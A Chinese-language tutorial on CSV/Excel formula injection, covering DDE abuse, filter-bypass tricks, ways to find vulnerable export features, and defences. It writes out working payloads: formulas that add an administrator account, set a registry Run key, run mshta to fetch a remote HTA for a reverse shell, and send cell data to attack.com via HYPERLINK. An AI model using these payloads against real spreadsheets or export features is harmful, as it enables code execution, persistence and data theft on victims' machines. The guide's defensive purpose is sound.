CSV注入详解
字数 973 2025-08-24 07:48:09
CSV注入攻击详解与防御指南
1. CSV文件基础
CSV全称"Comma-Separated Values",是一种用逗号分隔值的纯文本格式文件,用于存储数据。特点:
- 由任意数目的记录组成
- 记录间以换行符分隔
- 每条记录由字段组成,字段间以分隔符(通常是逗号)分隔
2. CSV注入原理
CSV注入是一种将包含恶意命令的Excel公式插入到可导出CSV/XLS格式文本中的攻击方式。当在Excel中打开CSV文件时:
- 文件会转换为Excel格式
- Excel公式会被执行
- 导致命令执行等安全问题
关键触发点:当单元格的第一个字符是+、-、@、=时,Excel会将其作为表达式处理
3. 攻击技术详解
3.1 DDE利用
动态数据交换(DDE)是Windows下的进程间通信协议,支持Excel、Word等程序。通过DDE公式可执行外部应用:
=1+cmd|'/C calc'!A0
3.2 操作系统命令执行
添加用户
=cmd|'/C net user test 123456 /add'!A0
=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
修改注册表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0
反弹Shell
- 使用Metasploit生成payload
- 在Excel中插入:
+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta'!A0
3.3 信息泄露
利用HYPERLINK函数发送敏感数据:
=HYPERLINK("https://attack.com?data="&A1,"click me")
3.4 网络钓鱼
直接访问钓鱼网站
=HYPERLINK("https://attack.com?data="&A1,"click me")
控制浏览器访问
=1+cmd|'/C "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0
4. 漏洞挖掘方法
-
查找系统中可导出为CSV/XLS格式的功能点
- 信息统计
- 日志导出
- 数据报表
-
确认导出内容是否可控
- 界面可直接编辑/新增
- 通过数据篡改/HPP/追踪数据源控制输入
-
存在过滤时的绕过尝试
5. 绕过技巧
- 等号被过滤时使用运算符绕过:
-1+1+cmd|'/C calc'!A0
- 使用换行符%0A:
%0A-1+1+cmd|'/C calc'!A0
- 等号前加引号过滤时使用分号:
;-3+3+cmd|'/C calc'!D2
- 其他常用Payload:
@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://attact.com")
6. 防御措施
-
输入处理:
- 禁止单元格以特殊字符开头:
+,-,@,= - 对导出内容进行转义处理
- 禁止单元格以特殊字符开头:
-
功能限制:
- 禁止导出CSV/XLS格式文件
- 提供更安全的导出格式替代方案
-
黑名单过滤:
- 过滤
=(-)cmd - 过滤
=(-)HYPERLINK - 过滤
=(-)concat等危险函数
- 过滤
-
安全意识培训:
- 提醒用户注意Office安全提示
- 不要随意点击"是"确认未知来源文件的公式执行
- 对可疑文件进行安全检查
7. 总结
CSV注入是一种利用Excel公式执行特性的攻击方式,危害包括命令执行、信息泄露和网络钓鱼等。防御需要从输入过滤、功能限制和安全意识多方面入手,特别要注意特殊字符的处理和DDE功能的滥用。